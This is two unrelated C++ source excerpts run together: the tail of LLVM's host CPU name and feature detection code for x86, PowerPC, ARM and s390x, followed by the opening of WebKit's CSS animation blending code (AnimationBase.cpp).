bool HasSSE3 = (ECX >> 0) & 1;
bool HasSSSE3 = (ECX >> 9) & 1;
bool HasSSE41 = (ECX >> 19) & 1;
bool HasSSE42 = (ECX >> 20) & 1;
bool HasMOVBE = (ECX >> 22) & 1;
// If CPUID indicates support for XSAVE, XRESTORE and AVX, and XGETBV
// indicates that the AVX registers will be saved and restored on context
// switch, then we have full AVX support.
const unsigned AVXBits = (1 << 27) | (1 << 28);
bool HasAVX = ((ECX & AVXBits) == AVXBits) && !GetX86XCR0(&EAX, &EDX) &&
((EAX & 0x6) == 0x6);
bool HasAVX512Save = HasAVX && ((EAX & 0xe0) == 0xe0);
bool HasLeaf7 = MaxLeaf >= 0x7 &&
!GetX86CpuIDAndInfoEx(0x7, 0x0, &EAX, &EBX, &ECX, &EDX);
bool HasADX = HasLeaf7 && ((EBX >> 19) & 1);
bool HasAVX2 = HasAVX && HasLeaf7 && (EBX & 0x20);
bool HasAVX512 = HasLeaf7 && HasAVX512Save && ((EBX >> 16) & 1);
GetX86CpuIDAndInfo(0x80000001, &EAX, &EBX, &ECX, &EDX);
bool Em64T = (EDX >> 29) & 0x1;
bool HasTBM = (ECX >> 21) & 0x1;
if (memcmp(text.c, "GenuineIntel", 12) == 0) {
switch (Family) {
case 3:
return "i386";
case 4:
switch (Model) {
case 0: // Intel486 DX processors
case 1: // Intel486 DX processors
case 2: // Intel486 SX processors
case 3: // Intel487 processors, IntelDX2 OverDrive processors,
// IntelDX2 processors
case 4: // Intel486 SL processor
case 5: // IntelSX2 processors
case 7: // Write-Back Enhanced IntelDX2 processors
case 8: // IntelDX4 OverDrive processors, IntelDX4 processors
default: return "i486";
}
case 5:
switch (Model) {
case 1: // Pentium OverDrive processor for Pentium processor (60, 66),
// Pentium processors (60, 66)
case 2: // Pentium OverDrive processor for Pentium processor (75, 90,
// 100, 120, 133), Pentium processors (75, 90, 100, 120, 133,
// 150, 166, 200)
case 3: // Pentium OverDrive processors for Intel486 processor-based
// systems
return "pentium";
case 4: // Pentium OverDrive processor with MMX technology for Pentium
// processor (75, 90, 100, 120, 133), Pentium processor with
// MMX technology (166, 200)
return "pentium-mmx";
default: return "pentium";
}
case 6:
switch (Model) {
case 1: // Pentium Pro processor
return "pentiumpro";
case 3: // Intel Pentium II OverDrive processor, Pentium II processor,
// model 03
case 5: // Pentium II processor, model 05, Pentium II Xeon processor,
// model 05, and Intel Celeron processor, model 05
case 6: // Celeron processor, model 06
return "pentium2";
case 7: // Pentium III processor, model 07, and Pentium III Xeon
// processor, model 07
case 8: // Pentium III processor, model 08, Pentium III Xeon processor,
// model 08, and Celeron processor, model 08
case 10: // Pentium III Xeon processor, model 0Ah
case 11: // Pentium III processor, model 0Bh
return "pentium3";
case 9: // Intel Pentium M processor, Intel Celeron M processor model 09.
case 13: // Intel Pentium M processor, Intel Celeron M processor, model
// 0Dh. All processors are manufactured using the 90 nm process.
case 21: // Intel EP80579 Integrated Processor and Intel EP80579
// Integrated Processor with Intel QuickAssist Technology
return "pentium-m";
case 14: // Intel Core Duo processor, Intel Core Solo processor, model
// 0Eh. All processors are manufactured using the 65 nm process.
return "yonah";
case 15: // Intel Core 2 Duo processor, Intel Core 2 Duo mobile
// processor, Intel Core 2 Quad processor, Intel Core 2 Quad
// mobile processor, Intel Core 2 Extreme processor, Intel
// Pentium Dual-Core processor, Intel Xeon processor, model
// 0Fh. All processors are manufactured using the 65 nm process.
case 22: // Intel Celeron processor model 16h. All processors are
// manufactured using the 65 nm process
return "core2";
case 23: // Intel Core 2 Extreme processor, Intel Xeon processor, model
// 17h. All processors are manufactured using the 45 nm process.
//
// 45nm: Penryn , Wolfdale, Yorkfield (XE)
case 29: // Intel Xeon processor MP. All processors are manufactured using
// the 45 nm process.
return "penryn";
case 26: // Intel Core i7 processor and Intel Xeon processor. All
// processors are manufactured using the 45 nm process.
case 30: // Intel(R) Core(TM) i7 CPU 870 @ 2.93GHz.
// As found in a Summer 2010 model iMac.
case 46: // Nehalem EX
return "nehalem";
case 37: // Intel Core i7, laptop version.
case 44: // Intel Core i7 processor and Intel Xeon processor. All
// processors are manufactured using the 32 nm process.
case 47: // Westmere EX
return "westmere";
// SandyBridge:
case 42: // Intel Core i7 processor. All processors are manufactured
// using the 32 nm process.
case 45:
return "sandybridge";
// Ivy Bridge:
case 58:
case 62: // Ivy Bridge EP
return "ivybridge";
// Haswell:
case 60:
case 63:
case 69:
case 70:
return "haswell";
// Broadwell:
case 61:
case 71:
return "broadwell";
// Skylake:
case 78:
case 94:
return "skylake";
case 28: // Most 45 nm Intel Atom processors
case 38: // 45 nm Atom Lincroft
case 39: // 32 nm Atom Medfield
case 53: // 32 nm Atom Midview
case 54: // 32 nm Atom Midview
return "bonnell";
// Atom Silvermont codes from the Intel software optimization guide.
case 55:
case 74:
case 77:
case 90:
case 93:
return "silvermont";
default: // Unknown family 6 CPU, try to guess.
if (HasAVX512)
return "knl";
if (HasADX)
return "broadwell";
if (HasAVX2)
return "haswell";
if (HasAVX)
return "sandybridge";
if (HasSSE42)
return HasMOVBE ? "silvermont" : "nehalem";
if (HasSSE41)
return "penryn";
if (HasSSSE3)
return HasMOVBE ? "bonnell" : "core2";
if (Em64T)
return "x86-64";
if (HasSSE2)
return "pentium-m";
if (HasSSE)
return "pentium3";
if (HasMMX)
return "pentium2";
return "pentiumpro";
}
case 15: {
switch (Model) {
case 0: // Pentium 4 processor, Intel Xeon processor. All processors are
// model 00h and manufactured using the 0.18 micron process.
case 1: // Pentium 4 processor, Intel Xeon processor, Intel Xeon
// processor MP, and Intel Celeron processor. All processors are
// model 01h and manufactured using the 0.18 micron process.
case 2: // Pentium 4 processor, Mobile Intel Pentium 4 processor - M,
// Intel Xeon processor, Intel Xeon processor MP, Intel Celeron
// processor, and Mobile Intel Celeron processor. All processors
// are model 02h and manufactured using the 0.13 micron process.
return (Em64T) ? "x86-64" : "pentium4";
case 3: // Pentium 4 processor, Intel Xeon processor, Intel Celeron D
// processor. All processors are model 03h and manufactured using
// the 90 nm process.
case 4: // Pentium 4 processor, Pentium 4 processor Extreme Edition,
// Pentium D processor, Intel Xeon processor, Intel Xeon
// processor MP, Intel Celeron D processor. All processors are
// model 04h and manufactured using the 90 nm process.
case 6: // Pentium 4 processor, Pentium D processor, Pentium processor
// Extreme Edition, Intel Xeon processor, Intel Xeon processor
// MP, Intel Celeron D processor. All processors are model 06h
// and manufactured using the 65 nm process.
return (Em64T) ? "nocona" : "prescott";
default:
return (Em64T) ? "x86-64" : "pentium4";
}
}
default:
return "generic";
}
} else if (memcmp(text.c, "AuthenticAMD", 12) == 0) {
// FIXME: this poorly matches the generated SubtargetFeatureKV table. There
// appears to be no way to generate the wide variety of AMD-specific targets
// from the information returned from CPUID.
switch (Family) {
case 4:
return "i486";
case 5:
switch (Model) {
case 6:
case 7: return "k6";
case 8: return "k6-2";
case 9:
case 13: return "k6-3";
case 10: return "geode";
default: return "pentium";
}
case 6:
switch (Model) {
case 4: return "athlon-tbird";
case 6:
case 7:
case 8: return "athlon-mp";
case 10: return "athlon-xp";
default: return "athlon";
}
case 15:
if (HasSSE3)
return "k8-sse3";
switch (Model) {
case 1: return "opteron";
case 5: return "athlon-fx"; // also opteron
default: return "athlon64";
}
case 16:
return "amdfam10";
case 20:
return "btver1";
case 21:
if (!HasAVX) // If the OS doesn't support AVX provide a sane fallback.
return "btver1";
if (Model >= 0x50)
return "bdver4"; // 50h-6Fh: Excavator
if (Model >= 0x30)
return "bdver3"; // 30h-3Fh: Steamroller
if (Model >= 0x10 || HasTBM)
return "bdver2"; // 10h-1Fh: Piledriver
return "bdver1"; // 00h-0Fh: Bulldozer
case 22:
if (!HasAVX) // If the OS doesn't support AVX provide a sane fallback.
return "btver1";
return "btver2";
default:
return "generic";
}
}
return "generic";
}
#elif defined(__APPLE__) && (defined(__ppc__) || defined(__powerpc__))
StringRef sys::getHostCPUName() {
host_basic_info_data_t hostInfo;
mach_msg_type_number_t infoCount;
infoCount = HOST_BASIC_INFO_COUNT;
host_info(mach_host_self(), HOST_BASIC_INFO, (host_info_t)&hostInfo,
&infoCount);
if (hostInfo.cpu_type != CPU_TYPE_POWERPC) return "generic";
switch(hostInfo.cpu_subtype) {
case CPU_SUBTYPE_POWERPC_601: return "601";
case CPU_SUBTYPE_POWERPC_602: return "602";
case CPU_SUBTYPE_POWERPC_603: return "603";
case CPU_SUBTYPE_POWERPC_603e: return "603e";
case CPU_SUBTYPE_POWERPC_603ev: return "603ev";
case CPU_SUBTYPE_POWERPC_604: return "604";
case CPU_SUBTYPE_POWERPC_604e: return "604e";
case CPU_SUBTYPE_POWERPC_620: return "620";
case CPU_SUBTYPE_POWERPC_750: return "750";
case CPU_SUBTYPE_POWERPC_7400: return "7400";
case CPU_SUBTYPE_POWERPC_7450: return "7450";
case CPU_SUBTYPE_POWERPC_970: return "970";
default: ;
}
return "generic";
}
#elif defined(__linux__) && (defined(__ppc__) || defined(__powerpc__))
StringRef sys::getHostCPUName() {
// Access to the Processor Version Register (PVR) on PowerPC is privileged,
// and so we must use an operating-system interface to determine the current
// processor type. On Linux, this is exposed through the /proc/cpuinfo file.
const char *generic = "generic";
// The cpu line is second (after the 'processor: 0' line), so if this
// buffer is too small then something has changed (or is wrong).
char buffer[1024];
ssize_t CPUInfoSize = readCpuInfo(buffer, sizeof(buffer));
if (CPUInfoSize == -1)
return generic;
const char *CPUInfoStart = buffer;
const char *CPUInfoEnd = buffer + CPUInfoSize;
const char *CIP = CPUInfoStart;
const char *CPUStart = 0;
size_t CPULen = 0;
// We need to find the first line which starts with cpu, spaces, and a colon.
// After the colon, there may be some additional spaces and then the cpu type.
while (CIP < CPUInfoEnd && CPUStart == 0) {
if (CIP < CPUInfoEnd && *CIP == '\n')
++CIP;
if (CIP < CPUInfoEnd && *CIP == 'c') {
++CIP;
if (CIP < CPUInfoEnd && *CIP == 'p') {
++CIP;
if (CIP < CPUInfoEnd && *CIP == 'u') {
++CIP;
while (CIP < CPUInfoEnd && (*CIP == ' ' || *CIP == '\t'))
++CIP;
if (CIP < CPUInfoEnd && *CIP == ':') {
++CIP;
while (CIP < CPUInfoEnd && (*CIP == ' ' || *CIP == '\t'))
++CIP;
if (CIP < CPUInfoEnd) {
CPUStart = CIP;
while (CIP < CPUInfoEnd && (*CIP != ' ' && *CIP != '\t' &&
*CIP != ',' && *CIP != '\n'))
++CIP;
CPULen = CIP - CPUStart;
}
}
}
}
}
if (CPUStart == 0)
while (CIP < CPUInfoEnd && *CIP != '\n')
++CIP;
}
if (CPUStart == 0)
return generic;
return StringSwitch<const char *>(StringRef(CPUStart, CPULen))
.Case("604e", "604e")
.Case("604", "604")
.Case("7400", "7400")
.Case("7410", "7400")
.Case("7447", "7400")
.Case("7455", "7450")
.Case("G4", "g4")
.Case("POWER4", "970")
.Case("PPC970FX", "970")
.Case("PPC970MP", "970")
.Case("G5", "g5")
.Case("POWER5", "g5")
.Case("A2", "a2")
.Case("POWER6", "pwr6")
.Case("POWER7", "pwr7")
.Case("POWER8", "pwr8")
.Case("POWER8E", "pwr8")
.Default(generic);
}
#elif defined(__linux__) && defined(__arm__)
StringRef sys::getHostCPUName() {
// The cpuid register on arm is not accessible from user space. On Linux,
// it is exposed through the /proc/cpuinfo file.
// Read 1024 bytes from /proc/cpuinfo, which should contain the CPU part line
// in all cases.
char buffer[1024];
ssize_t CPUInfoSize = readCpuInfo(buffer, sizeof(buffer));
if (CPUInfoSize == -1)
return "generic";
StringRef Str(buffer, CPUInfoSize);
SmallVector<StringRef, 32> Lines;
Str.split(Lines, "\n");
// Look for the CPU implementer line.
StringRef Implementer;
for (unsigned I = 0, E = Lines.size(); I != E; ++I)
if (Lines[I].startswith("CPU implementer"))
Implementer = Lines[I].substr(15).ltrim("\t :");
if (Implementer == "0x41") // ARM Ltd.
// Look for the CPU part line.
for (unsigned I = 0, E = Lines.size(); I != E; ++I)
if (Lines[I].startswith("CPU part"))
// The CPU part is a 3 digit hexadecimal number with a 0x prefix. The
// values correspond to the "Part number" in the CP15/c0 register. The
// contents are specified in the various processor manuals.
return StringSwitch<const char *>(Lines[I].substr(8).ltrim("\t :"))
.Case("0x926", "arm926ej-s")
.Case("0xb02", "mpcore")
.Case("0xb36", "arm1136j-s")
.Case("0xb56", "arm1156t2-s")
.Case("0xb76", "arm1176jz-s")
.Case("0xc08", "cortex-a8")
.Case("0xc09", "cortex-a9")
.Case("0xc0f", "cortex-a15")
.Case("0xc20", "cortex-m0")
.Case("0xc23", "cortex-m3")
.Case("0xc24", "cortex-m4")
.Default("generic");
if (Implementer == "0x51") // Qualcomm Technologies, Inc.
// Look for the CPU part line.
for (unsigned I = 0, E = Lines.size(); I != E; ++I)
if (Lines[I].startswith("CPU part"))
// The CPU part is a 3 digit hexadecimal number with a 0x prefix. The
// values correspond to the "Part number" in the CP15/c0 register. The
// contents are specified in the various processor manuals.
return StringSwitch<const char *>(Lines[I].substr(8).ltrim("\t :"))
.Case("0x06f", "krait") // APQ8064
.Default("generic");
return "generic";
}
#elif defined(__linux__) && defined(__s390x__)
StringRef sys::getHostCPUName() {
// STIDP is a privileged operation, so use /proc/cpuinfo instead.
// The "processor 0:" line comes after a fair amount of other information,
// including a cache breakdown, but this should be plenty.
char buffer[2048];
ssize_t CPUInfoSize = readCpuInfo(buffer, sizeof(buffer));
if (CPUInfoSize == -1)
return "generic";
StringRef Str(buffer, CPUInfoSize);
SmallVector<StringRef, 32> Lines;
Str.split(Lines, "\n");
// Look for the CPU features.
SmallVector<StringRef, 32> CPUFeatures;
for (unsigned I = 0, E = Lines.size(); I != E; ++I)
if (Lines[I].startswith("features")) {
size_t Pos = Lines[I].find(":");
if (Pos != StringRef::npos) {
Lines[I].drop_front(Pos + 1).split(CPUFeatures, ' ');
break;
}
}
// We need to check for the presence of vector support independently of
// the machine type, since we may only use the vector register set when
// supported by the kernel (and hypervisor).
bool HaveVectorSupport = false;
for (unsigned I = 0, E = CPUFeatures.size(); I != E; ++I) {
if (CPUFeatures[I] == "vx")
HaveVectorSupport = true;
}
// Now check the processor machine type.
for (unsigned I = 0, E = Lines.size(); I != E; ++I) {
if (Lines[I].startswith("processor ")) {
size_t Pos = Lines[I].find("machine = ");
if (Pos != StringRef::npos) {
Pos += sizeof("machine = ") - 1;
unsigned int Id;
if (!Lines[I].drop_front(Pos).getAsInteger(10, Id)) {
if (Id >= 2964 && HaveVectorSupport)
return "z13";
if (Id >= 2827)
return "zEC12";
if (Id >= 2817)
return "z196";
}
}
break;
}
}
return "generic";
}
#else
StringRef sys::getHostCPUName() {
return "generic";
}
#endif
#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\
|| defined(__x86_64__) || defined(_M_AMD64) || defined (_M_X64)
bool sys::getHostCPUFeatures(StringMap<bool> &Features) {
unsigned EAX = 0, EBX = 0, ECX = 0, EDX = 0;
unsigned MaxLevel;
union {
unsigned u[3];
char c[12];
} text;
if (GetX86CpuIDAndInfo(0, &MaxLevel, text.u+0, text.u+2, text.u+1) ||
MaxLevel < 1)
return false;
GetX86CpuIDAndInfo(1, &EAX, &EBX, &ECX, &EDX);
Features["cmov"] = (EDX >> 15) & 1;
Features["mmx"] = (EDX >> 23) & 1;
Features["sse"] = (EDX >> 25) & 1;
Features["sse2"] = (EDX >> 26) & 1;
Features["sse3"] = (ECX >> 0) & 1;
Features["ssse3"] = (ECX >> 9) & 1;
Features["sse4.1"] = (ECX >> 19) & 1;
Features["sse4.2"] = (ECX >> 20) & 1;
Features["pclmul"] = (ECX >> 1) & 1;
Features["cx16"] = (ECX >> 13) & 1;
Features["movbe"] = (ECX >> 22) & 1;
Features["popcnt"] = (ECX >> 23) & 1;
Features["aes"] = (ECX >> 25) & 1;
Features["rdrnd"] = (ECX >> 30) & 1;
// If CPUID indicates support for XSAVE, XRESTORE and AVX, and XGETBV
// indicates that the AVX registers will be saved and restored on context
// switch, then we have full AVX support.
bool HasAVXSave = ((ECX >> 27) & 1) && ((ECX >> 28) & 1) &&
!GetX86XCR0(&EAX, &EDX) && ((EAX & 0x6) == 0x6);
Features["avx"] = HasAVXSave;
Features["fma"] = HasAVXSave && (ECX >> 12) & 1;
Features["f16c"] = HasAVXSave && (ECX >> 29) & 1;
// Only enable XSAVE if OS has enabled support for saving YMM state.
Features["xsave"] = HasAVXSave && (ECX >> 26) & 1;
// AVX512 requires additional context to be saved by the OS.
bool HasAVX512Save = HasAVXSave && ((EAX & 0xe0) == 0xe0);
unsigned MaxExtLevel;
GetX86CpuIDAndInfo(0x80000000, &MaxExtLevel, &EBX, &ECX, &EDX);
bool HasExtLeaf1 = MaxExtLevel >= 0x80000001 &&
!GetX86CpuIDAndInfo(0x80000001, &EAX, &EBX, &ECX, &EDX);
Features["lzcnt"] = HasExtLeaf1 && ((ECX >> 5) & 1);
Features["sse4a"] = HasExtLeaf1 && ((ECX >> 6) & 1);
Features["prfchw"] = HasExtLeaf1 && ((ECX >> 8) & 1);
Features["xop"] = HasExtLeaf1 && ((ECX >> 11) & 1) && HasAVXSave;
Features["fma4"] = HasExtLeaf1 && ((ECX >> 16) & 1) && HasAVXSave;
Features["tbm"] = HasExtLeaf1 && ((ECX >> 21) & 1);
bool HasLeaf7 = MaxLevel >= 7 &&
!GetX86CpuIDAndInfoEx(0x7, 0x0, &EAX, &EBX, &ECX, &EDX);
// AVX2 is only supported if we have the OS save support from AVX.
Features["avx2"] = HasAVXSave && HasLeaf7 && ((EBX >> 5) & 1);
Features["fsgsbase"] = HasLeaf7 && ((EBX >> 0) & 1);
Features["sgx"] = HasLeaf7 && ((EBX >> 2) & 1);
Features["bmi"] = HasLeaf7 && ((EBX >> 3) & 1);
Features["hle"] = HasLeaf7 && ((EBX >> 4) & 1);
Features["bmi2"] = HasLeaf7 && ((EBX >> 8) & 1);
Features["invpcid"] = HasLeaf7 && ((EBX >> 10) & 1);
Features["rtm"] = HasLeaf7 && ((EBX >> 11) & 1);
Features["rdseed"] = HasLeaf7 && ((EBX >> 18) & 1);
Features["adx"] = HasLeaf7 && ((EBX >> 19) & 1);
Features["smap"] = HasLeaf7 && ((EBX >> 20) & 1);
Features["pcommit"] = HasLeaf7 && ((EBX >> 22) & 1);
Features["clflushopt"] = HasLeaf7 && ((EBX >> 23) & 1);
Features["clwb"] = HasLeaf7 && ((EBX >> 24) & 1);
Features["sha"] = HasLeaf7 && ((EBX >> 29) & 1);
// AVX512 is only supported if the OS supports the context save for it.
Features["avx512f"] = HasLeaf7 && ((EBX >> 16) & 1) && HasAVX512Save;
Features["avx512dq"] = HasLeaf7 && ((EBX >> 17) & 1) && HasAVX512Save;
Features["avx512ifma"] = HasLeaf7 && ((EBX >> 21) & 1) && HasAVX512Save;
Features["avx512pf"] = HasLeaf7 && ((EBX >> 26) & 1) && HasAVX512Save;
Features["avx512er"] = HasLeaf7 && ((EBX >> 27) & 1) && HasAVX512Save;
Features["avx512cd"] = HasLeaf7 && ((EBX >> 28) & 1) && HasAVX512Save;
Features["avx512bw"] = HasLeaf7 && ((EBX >> 30) & 1) && HasAVX512Save;
Features["avx512vl"] = HasLeaf7 && ((EBX >> 31) & 1) && HasAVX512Save;
Features["prefetchwt1"] = HasLeaf7 && (ECX & 1);
Features["avx512vbmi"] = HasLeaf7 && ((ECX >> 1) & 1) && HasAVX512Save;
// Enable protection keys
Features["pku"] = HasLeaf7 && ((ECX >> 4) & 1);
bool HasLeafD = MaxLevel >= 0xd &&
!GetX86CpuIDAndInfoEx(0xd, 0x1, &EAX, &EBX, &ECX, &EDX);
// Only enable XSAVE if OS has enabled support for saving YMM state.
Features["xsaveopt"] = HasAVXSave && HasLeafD && ((EAX >> 0) & 1);
Features["xsavec"] = HasAVXSave && HasLeafD && ((EAX >> 1) & 1);
Features["xsaves"] = HasAVXSave && HasLeafD && ((EAX >> 3) & 1);
return true;
}
#elif defined(__linux__) && (defined(__arm__) || defined(__aarch64__))
bool sys::getHostCPUFeatures(StringMap<bool> &Features) {
// Read 1024 bytes from /proc/cpuinfo, which should contain the Features line
// in all cases.
char buffer[1024];
ssize_t CPUInfoSize = readCpuInfo(buffer, sizeof(buffer));
if (CPUInfoSize == -1)
return false;
StringRef Str(buffer, CPUInfoSize);
SmallVector<StringRef, 32> Lines;
Str.split(Lines, "\n");
SmallVector<StringRef, 32> CPUFeatures;
// Look for the CPU features.
for (unsigned I = 0, E = Lines.size(); I != E; ++I)
if (Lines[I].startswith("Features")) {
Lines[I].split(CPUFeatures, ' ');
break;
}
#if defined(__aarch64__)
// Keep track of which crypto features we have seen
enum {
CAP_AES = 0x1,
CAP_PMULL = 0x2,
CAP_SHA1 = 0x4,
CAP_SHA2 = 0x8
};
uint32_t crypto = 0;
#endif
for (unsigned I = 0, E = CPUFeatures.size(); I != E; ++I) {
StringRef LLVMFeatureStr = StringSwitch<StringRef>(CPUFeatures[I])
#if defined(__aarch64__)
.Case("asimd", "neon")
.Case("fp", "fp-armv8")
.Case("crc32", "crc")
#else
.Case("half", "fp16")
.Case("neon", "neon")
.Case("vfpv3", "vfp3")
.Case("vfpv3d16", "d16")
.Case("vfpv4", "vfp4")
.Case("idiva", "hwdiv-arm")
.Case("idivt", "hwdiv")
#endif
.Default("");
#if defined(__aarch64__)
// We need to check crypto separately since we need all of the crypto
// extensions to enable the subtarget feature
if (CPUFeatures[I] == "aes")
crypto |= CAP_AES;
else if (CPUFeatures[I] == "pmull")
crypto |= CAP_PMULL;
else if (CPUFeatures[I] == "sha1")
crypto |= CAP_SHA1;
else if (CPUFeatures[I] == "sha2")
crypto |= CAP_SHA2;
#endif
if (LLVMFeatureStr != "")
Features[LLVMFeatureStr] = true;
}
#if defined(__aarch64__)
// If we have all crypto bits we can add the feature
if (crypto == (CAP_AES | CAP_PMULL | CAP_SHA1 | CAP_SHA2))
Features["crypto"] = true;
#endif
return true;
}
#else
bool sys::getHostCPUFeatures(StringMap<bool> &Features){
return false;
}
#endif
std::string sys::getProcessTriple() {
Triple PT(Triple::normalize(LLVM_HOST_TRIPLE));
if (sizeof(void *) == 8 && PT.isArch32Bit())
PT = PT.get64BitArchVariant();
if (sizeof(void *) == 4 && PT.isArch64Bit())
PT = PT.get32BitArchVariant();
return PT.str();
}
|
/*
* Copyright (C) 2007, 2008, 2009 Apple Inc. All rights reserved.
* Copyright (c) 2010 ACCESS CO., LTD. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of Apple Computer, Inc. ("Apple") nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "AnimationBase.h"
#include "AnimationControllerPrivate.h"
#include "CSSMutableStyleDeclaration.h"
#include "CSSPropertyLonghand.h"
#include "CSSPropertyNames.h"
#include "CString.h"
#include "CompositeAnimation.h"
#include "Document.h"
#include "EventNames.h"
#include "FloatConversion.h"
#include "Frame.h"
#include "IdentityTransformOperation.h"
#include "ImplicitAnimation.h"
#include "KeyframeAnimation.h"
#include "MatrixTransformOperation.h"
#include "Matrix3DTransformOperation.h"
#include "RenderBox.h"
#include "RenderLayer.h"
#include "RenderLayerBacking.h"
#include "RenderStyle.h"
#include "UnitBezier.h"
#include <algorithm>
using namespace std;
namespace WebCore {
// The epsilon value we pass to UnitBezier::solve given that the animation is going to run over |dur| seconds. The longer the
// animation, the more precision we need in the timing function result to avoid ugly discontinuities.
static inline double solveEpsilon(double duration)
{
return 1.0 / (200.0 * duration);
}
static inline double solveCubicBezierFunction(double p1x, double p1y, double p2x, double p2y, double t, double duration)
{
// Convert from input time to parametric value in curve, then from
// that to output time.
UnitBezier bezier(p1x, p1y, p2x, p2y);
return bezier.solve(t, solveEpsilon(duration));
}
static inline int blendFunc(const AnimationBase*, int from, int to, double progress)
{
return int(from + (to - from) * progress);
}
static inline double blendFunc(const AnimationBase*, double from, double to, double progress)
{
return from + (to - from) * progress;
}
static inline float blendFunc(const AnimationBase*, float from, float to, double progress)
{
return narrowPrecisionToFloat(from + (to - from) * progress);
}
static inline Color blendFunc(const AnimationBase* anim, const Color& from, const Color& to, double progress)
{
// We need to preserve the state of the valid flag at the end of the animation
if (progress == 1 && !to.isValid())
return Color();
return Color(blendFunc(anim, from.red(), to.red(), progress),
blendFunc(anim, from.green(), to.green(), progress),
blendFunc(anim, from.blue(), to.blue(), progress),
blendFunc(anim, from.alpha(), to.alpha(), progress));
}
static inline Length blendFunc(const AnimationBase*, const Length& from, const Length& to, double progress)
{
return to.blend(from, progress);
}
static inline LengthSize blendFunc(const AnimationBase* anim, const LengthSize& from, const LengthSize& to, double progress)
{
return LengthSize(blendFunc(anim, from.width(), to.width(), progress),
blendFunc(anim, from.height(), to.height(), progress));
}
static inline IntSize blendFunc(const AnimationBase* anim, const IntSize& from, const IntSize& to, double progress)
{
return IntSize(blendFunc(anim, from.width(), to.width(), progress),
blendFunc(anim, from.height(), to.height(), progress));
}
static inline ShadowStyle blendFunc(const AnimationBase* anim, ShadowStyle from, ShadowStyle to, double progress)
{
if (from == to)
return to;
double fromVal = from == Normal ? 1 : 0;
double toVal = to == Normal ? 1 : 0;
double result = blendFunc(anim, fromVal, toVal, progress);
return result > 0 ? Normal : Inset;
}
static inline ShadowData* blendFunc(const AnimationBase* anim, const ShadowData* from, const ShadowData* to, double progress)
{
ASSERT(from && to);
return new ShadowData(blendFunc(anim, from->x, to->x, progress), blendFunc(anim, from->y, to->y, progress),
blendFunc(anim, from->blur, to->blur, progress), blendFunc(anim, from->spread, to->spread, progress),
blendFunc(anim, from->style, to->style, progress), blendFunc(anim, from->color, to->color, progress));
}
static inline TransformOperations blendFunc(const AnimationBase* anim, const TransformOperations& from, const TransformOperations& to, double progress)
{
TransformOperations result;
// If we have a transform function list, use that to do a per-function animation. Otherwise do a Matrix animation
if (anim->isTransformFunctionListValid()) {
unsigned fromSize = from.operations().size();
unsigned toSize = to.operations().size();
unsigned size = max(fromSize, toSize);
for (unsigned i = 0; i < size; i++) {
RefPtr<TransformOperation> fromOp = (i < fromSize) ? from.operations()[i].get() : 0;
RefPtr<TransformOperation> toOp = (i < toSize) ? to.operations()[i].get() : 0;
RefPtr<TransformOperation> blendedOp = toOp ? toOp->blend(fromOp.get(), progress) : (fromOp ? fromOp->blend(0, progress, true) : 0);
if (blendedOp)
result.operations().append(blendedOp);
else {
RefPtr<TransformOperation> identityOp = IdentityTransformOperation::create();
if (progress > 0.5)
result.operations().append(toOp ? toOp : identityOp);
else
result.operations().append(fromOp ? fromOp : identityOp);
}
}
} else {
// Convert the TransformOperations into matrices
IntSize size = anim->renderer()->isBox() ? toRenderBox(anim->renderer())->borderBoxRect().size() : IntSize();
TransformationMatrix fromT;
TransformationMatrix toT;
from.apply(size, fromT);
to.apply(size, toT);
toT.blend(fromT, progress);
// Append the result
result.operations().append(Matrix3DTransformOperation::create(toT));
}
return result;
}
static inline EVisibility blendFunc(const AnimationBase* anim, EVisibility from, EVisibility to, double progress)
{
// Any non-zero result means we consider the object to be visible. Only at 0 do we consider the object to be
// invisible. The invisible value we use (HIDDEN vs. COLLAPSE) depends on the specified from/to values.
double fromVal = from == VISIBLE ? 1. : 0.;
double toVal = to == VISIBLE ? 1. : 0.;
if (fromVal == toVal)
return to;
double result = blendFunc(anim, fromVal, toVal, progress);
return result > 0. ? VISIBLE : (to != VISIBLE ? to : from);
}
class PropertyWrapperBase;
static void addShorthandProperties();
static PropertyWrapperBase* wrapperForProperty(int propertyID);
class PropertyWrapperBase : public Noncopyable {
public:
PropertyWrapperBase(int prop)
: m_prop(prop)
{
}
virtual ~PropertyWrapperBase() { }
virtual bool isShorthandWrapper() const { return false; }
virtual bool equals(const RenderStyle* a, const RenderStyle* b) const = 0;
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const = 0;
int property() const { return m_prop; }
#if USE(ACCELERATED_COMPOSITING)
virtual bool animationIsAccelerated() const { return false; }
#endif
private:
int m_prop;
};
template <typename T>
class PropertyWrapperGetter : public PropertyWrapperBase {
public:
PropertyWrapperGetter(int prop, T (RenderStyle::*getter)() const)
: PropertyWrapperBase(prop)
, m_getter(getter)
{
}
virtual bool equals(const RenderStyle* a, const RenderStyle* b) const
{
// If the style pointers are the same, don't bother doing the test.
// If either is null, return false. If both are null, return true.
if ((!a && !b) || a == b)
return true;
if (!a || !b)
return false;
return (a->*m_getter)() == (b->*m_getter)();
}
protected:
T (RenderStyle::*m_getter)() const;
};
